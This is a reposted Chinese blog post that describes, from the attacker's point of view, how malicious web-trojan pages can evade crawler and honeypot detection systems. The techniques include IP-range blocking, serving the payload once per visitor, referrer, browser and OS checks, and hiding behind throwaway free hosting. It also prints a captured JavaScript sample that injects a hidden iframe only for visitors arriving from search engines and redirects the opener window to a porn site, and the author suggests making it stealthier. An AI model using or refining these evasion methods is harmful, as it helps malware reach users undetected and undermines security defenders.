網馬的反掛馬檢測及精確投放(免殺)

 

前天shadow在羣裏提到或許可以採取一些方法來實現對掛馬檢測系統的繞過,遂與其深入探討了下,事後又考慮到網馬的精確投放,總結了一些點做了點兒技術實現 ,並在這裏簡單記錄下想到的一些想法,歡迎其他大牛不吝指教。

1、通過判斷客戶端安裝程序指定掛馬

這個是個老早的話題,早在兩年前cos他們就在xkungfoo議題上提到過了:通過img標籤遠程域檢測本地域軟件是否存在 。當然還可以通過其他方式,譬如判斷目標組件是否可被調用等。

這樣做主要有幾方面原因:

一是對於某些搞不定的殺毒軟件、防火牆或hips直接採取繞過的方式,避免沒有必要的網馬行爲泄露。

二是通過一些特徵分析來區分掛馬檢測系統和用戶電腦。譬如安裝路徑的不同,或者一些通用軟件的安裝關聯性等等。當然目前一些蜜罐系統的軟件安裝行爲幾乎與用戶行爲相近或相同,使得這個想法具有理論可行性,不具有實際價值。

三是判斷漏洞利用條件是否滿足,譬如XX視頻軟件的溢出漏洞之類,如果沒有這類軟件被安裝,那麼網馬則無需暴露給用戶。

2、判斷是否是spider IP段

這個是shadow提到的,我認爲還是具有很大的可行性的。

 

我通過純真IP庫查詢了所有的IDC IP段,然後導入數組中,再跟當前的IP做判斷。如果發現在段內,則返回anti robots否則返回echo virus

 

從理論上來說,所有安放在IDC機房內的spider就都會被屏蔽住了;但實際上存在很大的限制性 —— 原因就是純真IP庫的信息不夠充分,而且掛馬檢測系統想搞一個在列表外的IP也很容易,不過後面我們會提到一個可行的獲取spider IP的方案。

3、判斷是否訪問過

其實我們知道,對於一個職業的網馬來說,如果一個用戶訪問了頁面,那麼要麼中招要麼不中招,不可能第一次訪問中了第二次不中,或者第一次訪問不中第 二次中了。那種覆蓋大量內存或佔用大量CPU資源導致用戶“等不及”中馬就關閉瀏覽器的網馬其實不夠專業,但是即便如此,我們仍可以通過設置用戶訪問兩次 或幾次後就不再對頁面注入網馬內容的方式來稍微放寬策略。

這樣做的另外一個原因是用來迷惑spider。從我目前知道的情況來看,一旦掛馬檢測系統確認該網站已中招,那麼便會在很快的時間內再次輪迴檢測一次。而如果網馬做了這樣的限制,那麼當spider第二次訪問時就會誤報成沒有病毒,該站點在以後的時間裏就會逐漸被忽略掉!

我在我的demo中通過簡單驗證IP來判斷是否訪問過,這個或許可以通過其他一些方式來取得客戶端的唯一指紋,這裏就不再深入瞭解了。不過需要注意 這個指紋無法放到蜜罐中,因爲蜜罐會不定期被還原,因此不管是cookies、localStorage……還是flash cookies留下的痕跡都將被清除。

4、判斷系統版本和瀏覽器版本

這個跟想法1 中提到的觀點相同 —— 用於網馬的精確投放以及減少沒必要的網馬行徑泄露。

並且如果分析人員想要分析被網馬檢測系統找到的網馬,那麼他需要“重現環境”來獲取代碼,否則就可能誤以爲該網馬已經失效……(譬如採取wget這種安全方式來獲取網馬代碼之類的,在以後分析人員將獲取不到任何數據)

5、判斷referer

這個一是爲了限制分析人員和檢測系統對網馬的直接取樣(效果不大),和對受害站點的狀態跟蹤。

另外也是爲了防止被陷害。譬如本來掛的遊戲網站,問題不大;結果被某些人搞到GOV上去了,這個罪過可就大了,而且GOV會調人來跟,被搞的可能性會大幅增加,懲罰也將更加嚴重。

6、使用免費空間+免費二級域名+二次中轉解析等方式隱藏行蹤

這點應該跟反檢測有點兒關係,而且目前一些專業的黑產貌似也有這樣做的。

好處有幾個:

一是如果一個網馬地址被拉入黑名單,則可以迅速使用另一個

二是有效防止被“抄家”

7、spider IP的確認

目前國內的spider差不多都有這個能力 —— 在一兩天內巡迴國內所有站點一次。

我們假設一個黑產掛了5個馬到不同網站上,但是都被同一IP訪問過,那麼這個IP就可以認定是spider IP,可以加到IP庫中。

對於同一個站點,如果每天都被訪問一兩次,被連續訪問了若干天,並且訪問時長大致相同,而且可以通過想法4 (如果不符合,則不會加載網馬)的判斷但是卻沒有在“肉雞管理系統”中有所體現,那麼大致可以鑑定是蜜罐系統(額,也可能是還原精靈,但是那些用戶不會如此勤奮的訪問),所以此時也可以將IP入庫。

最終比的是,到底是掛馬檢測系統換IP勤奮,還是網馬加IP勤奮。

 

 

前兩天談到網馬的反掛馬檢測及精確投放 ,今天又抓到一個樣本。

//判斷referer,如果是直接訪問則過
//如果是從搜索引擎進來的,則掛馬
var url=document.referrer;
var p=url.toLowerCase().indexOf(".baidu.com");
if (p>0)
{
document.writeln("<iframe src=*** width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".google.com.hk");
if (p>0)
{
document.writeln("<iframe src=*** width=0 height=0></iframe>");
}
...
...省略若干搜索引擎
...
//monyer ps:難道還要像北京交通一樣限制單雙號?
today=new Date();
riqi=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
//跟上面判斷referer一樣的判斷
var regexp=//.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|gougou|)(/.[a-z0-9/-]+){1,2}///ig;
var where =document.referrer;
if(regexp.test(where))
{
//父窗口再轉向一個色情頁面
window.opener.navigate("http://***");
}

簡單來說就是:

直接訪問頁面不會掛馬,如果通過搜索引擎進來的,則中招!

如果再狠一些,限制個時間啥的就更NB了,哈哈。

這樣做的一個好處是可以直接bypass掛馬檢測系統,因爲掛馬檢測系統大都是基於行爲分析的;並且可以迷惑一些分析者,只是如果能做在服務端就更好了。

 

轉自:

網馬的反掛馬檢測及精確投放

 

發佈了37 篇原創文章 · 獲贊 1 · 訪問量 12萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章